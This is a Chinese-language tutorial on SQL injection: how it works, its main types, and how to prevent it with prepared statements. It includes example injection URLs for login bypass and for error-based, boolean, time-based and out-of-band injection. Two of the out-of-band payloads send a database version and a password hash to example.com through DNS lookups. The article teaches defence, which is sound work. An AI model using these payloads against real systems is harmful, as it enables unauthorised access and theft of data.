什么是 SQL 注入,有哪些類型,如何預防?
SQL注入漏是系統漏洞中一種比較嚴重的漏洞,如果說數據是系統的核心,那么SQL注入就是直插系統核心的漏洞。一直以來SQL注入漏洞就被列入OWASP最常見和影響最廣泛的十大漏洞列表中。
顧名思義,SQL注入漏洞是攻擊者將惡意內容注入到SQL語句。
為了充分理解這個問題,我們首先必須了解服務器端腳本語言如何處理SQL查詢。
例如:Web應用程序中的功能生成了一個帶有以下SQL語句的字符串:
SELECT * FROM users WHERE username = 'bob' AND password = 'mysecretpw'
這個SQL語句被傳遞給應用程序的一個函數,該函數將字符串發送到數據庫,之后SQL在數據庫中被解析、執行并返回結果。
我們可以看到這個SQL包含了一些特殊字符:
- * (星號)是SQL數據庫返回所選數據庫行的所有列的指令。
- =(等號)是一條用于使SQL數據庫僅返回與搜索到的字符串匹配的值指令。
- '(單引號)用于告訴SQL數據庫搜索字符串的開始或結束位置。
在Web應用設計上,往往需要把SQL中的參數設計成可配置的變量,例如:在執行用戶登錄的過程中使用“$user”和“$password”的值進行SQL查詢。
SELECT * FROM users WHERE username = '$user' AND password
= '$password'
這時,如果應用程序如果沒有對輸入進行處理,攻擊者可以很容易在語句中插入一些特殊的SQL語法,例如:
SELECT * FROM users WHERE username = 'admin'; -- ' AND
password = 'anything'
其中,admin'; -- 就是攻擊者輸入到$user變量的內容,其中包含兩個新的特殊字符。
分號“;”用于指示SQL解析器當前語句已經結束。
雙連字符“--”用于指示SQL解析器該行的其余部分是注釋,不應該被執行。
通過這個SQL注入,攻擊者有效地刪除了密碼驗證,并返回admin用戶的數據。最終導致攻擊者可以使用管理員帳戶登錄,而無需指定密碼。
SQL注入漏洞的影響
利用SQL注入,攻擊者可以做很多事情,比如:
- 添加、刪除、編輯或讀取數據庫中的內容。
- 從數據庫服務器上的文件讀取源代碼。
- 將文件寫入數據庫服務器。
除此之外,甚至可能完全接管數據庫和Web服務器。
常見的SQL注入類型
攻擊者可以通過各種方式利用SQL注入漏洞從服務器中竊取數據。常見的方法包括基于錯誤、基于條件(真/假)和基于時間等方式來檢索數據。
(1) 基于錯誤的SQL注入
利用基于錯誤的SQL注入漏洞,攻擊者可以從可見的數據庫錯誤中檢索表名和內容等信息。
例如:
http://localhost:8080/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
這個請求會返回一個錯誤:
Duplicate entry 'database1' for key 'group_key'
因此,在生產系統上禁用錯誤消息有助于防止攻擊者收集此類信息。
(2) 基于布爾的SQL注入
當SQL查詢失敗時,頁面上沒有可見的錯誤消息,使得攻擊者難以從應用程序中獲取到信息。但是,仔細觀察頁面,仍然可以判斷是可以攻擊并提取信息,當SQL查詢失敗時,有時網頁的某些部分會消失、改變或者整個網站無法加載。這些預示著,輸入的參數可以用來攻擊網站,或者提取數據。
例如:
攻擊者可以通過在SQL查詢中插入條件來測試:
http://localhost:8080/index?id=1+AND+1=1
如果頁面可以正常加載,則可能表明它易受SQL注入攻擊。可以肯定的是,攻擊者通常會嘗試使用以下方法來觸發錯誤結果:
http://localhost:8080/index?id=1+AND+1=2
由于條件為false,如果沒有返回任何結果或頁面無法正常工作(例如,缺少文本或顯示白色頁面),則可能表明該頁面容易受到SQL注入的攻擊。
下面是如何以這種方式提取數據的示例:
http://localhost:8080/index?id=1+AND+IF(version()+LIKE+'5%',true,false)
通過這個請求,如果數據庫版本為5.x,則頁面應該會照常加載。但是,如果數據庫版本不同,它的結果會有所不同,例如顯示一個空頁面或者一些空白內容,這也表明它是否容易受到SQL注入的攻擊。
(3) 基于時間的SQL注入
在某些情況下,即使SQL查詢對頁面的輸出沒有任何明顯的影響,仍然可以從底層數據庫中提取信息。
黑客可以通過數據庫的響應等待時間來進一步確定。一般情況下如果頁面快速加載,那么一般不容易受到攻擊;如果加載時間將比平時長,那么它可能比較容易受到攻擊。在檢測是否有漏洞時,SQL語法可能采用類似基于布爾的SQL注入漏洞中使用的語法。但是可以額外設置一個可測量的睡眠時間,IF函數z中的“true” 替換為“sleep(3),指示數據庫睡眠三秒:
http://localhost:8080/index?id=1+AND+IF(version()+LIKE+'5%',sleep(3),false)
如果頁面加載的時間比通常要長,則可以判斷數據庫版本為5.x。
(4) 帶外SQL注入漏洞
攻擊者從數據庫中檢索信息的主要方法是使用帶外SQL注入技術。這種類型的攻擊通常的做法是將數據直接從數據庫服務器發送到由攻擊者控制的機器。
例如:
http://localhost:8080/index?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),'example.com\\')))
或者
http://localhost:8080/index?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\\' + @pass + '.example.com\c$\boot.ini''')
在這些請求中,攻擊者通過執行SQL使得數據庫向可控的服務器發出DNS請求,這意味著攻擊者不需要直接看到注入SQL的執行結果,而是可以通過可控制的服務器查看到數據庫服務器發送的DNS請求。
(5) 其他類型
SQL注入的類型和方式也隨著數據庫和應用開發技術的發展不斷變化,除了以上注入類型之外,還有許多,例如:
分類 | 描述 |
基于錯誤的SQL注入 | 利用應用程序生成的SQL錯誤信息推斷數據庫結構。 |
聯合查詢SQL注入 | 使用UNION操作符將惡意查詢與合法查詢聯合,獲取敏感數據。 |
盲注(Blind SQL Injection) | 數據庫錯誤信息不回顯,攻擊者通過布爾判斷或時間延遲來獲取數據。 |
基于時間的盲注 | 利用數據庫響應時間的差異來推斷數據庫信息。 |
基于布爾的盲注 | 通過判斷應用程序響應的布爾值(真/假)來推斷數據。 |
內聯注入(In-band SQL Injection) | 通過應用程序的常規通道(如頁面輸出)直接獲取數據。 |
堆疊查詢SQL注入 | 在一個SQL查詢中執行多個SQL語句,用于繞過安全機制并執行惡意操作。 |
存儲過程SQL注入 | 通過調用數據庫的存儲過程執行惡意代碼,通常能獲得高級權限。 |
二次注入(Second-order SQL Injection) | 惡意代碼在第一次注入時未被觸發,而在后續使用時被激活。 |
基于文件的SQL注入 | 注入惡意SQL代碼以操作數據庫中的文件(如讀取或寫入文件)。 |
基于HTTP頭的SQL注入 | 攻擊者將惡意SQL代碼嵌入HTTP頭(如User-Agent、Referer),從而注入到SQL查詢中。 |
基于Cookie的SQL注入 | 惡意代碼通過Cookie字段傳遞,應用程序未對Cookie進行適當的驗證。 |
多字節字符SQL注入 | 利用字符集編碼漏洞,通過多字節字符構造出未預料的SQL注入。 |
XML查詢注入(XXE) | 攻擊者在處理XML輸入時注入惡意代碼,以操控數據庫查詢。 |
日志注入 | 將惡意SQL代碼寫入應用程序日志文件,進而在日志分析時觸發SQL注入。 |
API接口SQL注入 | 針對Web API的輸入字段進行SQL注入攻擊,通常缺乏詳細的錯誤信息,可能更難檢測。 |
第三方插件或模塊SQL注入 | 第三方插件、庫或模塊中存在SQL注入漏洞,影響整個應用程序的安全性。 |
組合型SQL注入 | 結合多種注入方式,如基于錯誤注入與盲注結合,增加攻擊成功的可能性。 |
跨數據庫SQL注入 | 在多個不同數據庫平臺之間利用注入漏洞,通過一種數據庫的弱點入侵其他數據庫。 |
遠程代碼執行(RCE) | 利用SQL注入在數據庫服務器上執行任意代碼,可能導致系統完全控制。 |
DNS注入 | 將SQL注入與DNS查詢結合,導致數據外泄。 |
如何防止SQL注入
在應用程序服務端,并沒有什么好的辦法確定SQL查詢語句是否被惡意注入。所能做的就是向數據庫服務器發送一個SQL字符串,然后等待數據庫解釋并返回。
但是有一個辦法就是構建預處理SQL語句,之后執行SQL,并向其傳輸變量,這些變量的內容在被執行之前可以被格式化,這個有點像printf函數。
例如:
構建預處理
$stmt = $dbh->prepare("SELECT * FROM users WHERE USERNAME = ? AND PASSWORD = ?");
執行:;
$stmt->execute(array($username, $password));
為了預防SQL注入,除了在開發階段進行規范之外,還可以在一些外部進行預防,例如:
- 更新中間件和數據庫服務器,例如SSH、OpenSSL、Postfix,甚至操作系統本身。
- 在Web服務器層面別阻止一些不規范的URL。
- 在數據庫層面,設置保護數據庫的權限。
- 將敏感、機密數據進行分庫隔離存儲。
- 使用入侵檢測系統、防火墻等,在攻擊Web應用程序之前分析HTTP請求。